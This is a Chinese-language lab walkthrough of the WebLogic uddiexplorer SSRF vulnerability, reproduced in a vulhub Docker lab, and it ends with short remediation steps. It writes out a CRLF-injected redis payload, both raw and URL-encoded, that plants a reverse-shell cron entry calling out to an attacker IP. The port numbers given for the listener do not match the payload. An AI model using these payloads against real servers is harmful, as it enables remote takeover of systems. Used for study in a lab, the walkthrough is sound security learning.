WebLogic是美国Oracle公司出品的一个application server确切的说是一个基于JAVAEE架构的中间件,BEA WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。
SSRF简介
服务端请求伪造(Server-Side Request Forgery),是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。
SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片、文档等等。
Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。
weblogic 版本10.0.2
weblogic 版本10.3.6
1. 本次漏洞使用vulhub-master搭建,vulhub-master下载地址:
https://github.com/vulhub/vulhub
2. 下载完成后使用cd /vulhub-master/weblogic/ssrf/进入到目录,然后使用
docker-compose up -d //启动实验靶场
3.在浏览器访问http://ip:7001端口,出现以下页面表示搭建成功
1.在url处访问ip:7001/uddiexplorer/,可查看uddiexplorer应用
2.漏洞位置存在于http://192.168.3.154:7001/uddiexplorer/SearchPublicRegistries.jsp,在表单中随意输入内容使用burp抓包,发送到重放模块
2.1可以看到下图operator参数,参数的值是url,怀疑可能存在SSRF漏洞
2.2测试是否存在SSRF漏洞,在url后跟端口,把url修改为自己搭建的服务器地址,访问开放的7001端口, 会返回一个状态码
2.3访问一个不存在的端口会返回连不上服务器
2.4根据报错的不同,可以进行内网探测。应次漏洞使用docker搭建docker内网172.xx开头此时通过ssrf探测内网中的redis服务器,发现’172.27.0.2:6379’可以连通
3. 通过以上测试可以得知存在SSRF漏洞。注入HTTP头然后利用redis反弹shell
Weblogic的SSRF有一个比较大的特点,其虽然是一个”GET/POST”请求,但是我们可以通过传入%0a%0d来注入换行符,某些服务(如redis)是通过换行符来分隔每条命令,本环境可以通过该SSRF攻击内网中的redis服务器。
发送三条redis命令,将弹shell脚本写入/etc/crontab:
set 1 “\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.3.222/7778 0>&1\n\n\n\n”
config set dir /etc/
config set dbfilename crontab
save
4. 使用url编码,注意:只对特殊符合进行编码
set%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.3.222%2F7778%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0Aconfig%20set%20dir%20%2Fetc%2F%0Aconfig%20set%20dbfilename%20crontab%0Asave%0A
5.使用burp发送,kali监听1234端口
6.成功反弹shell
1. 修复的直接方法是将SearchPublicRegistries.jsp直接删除;
2. 删除uddiexplorer文件夹,限制uddiexplorer应用只能内网访问
参考链接:http://www.mchz.com.cn/cn/service/safety-lab/info_26.aspx?&itemid=2128&ezeip=es515pfuwaihdff3mzwbdg==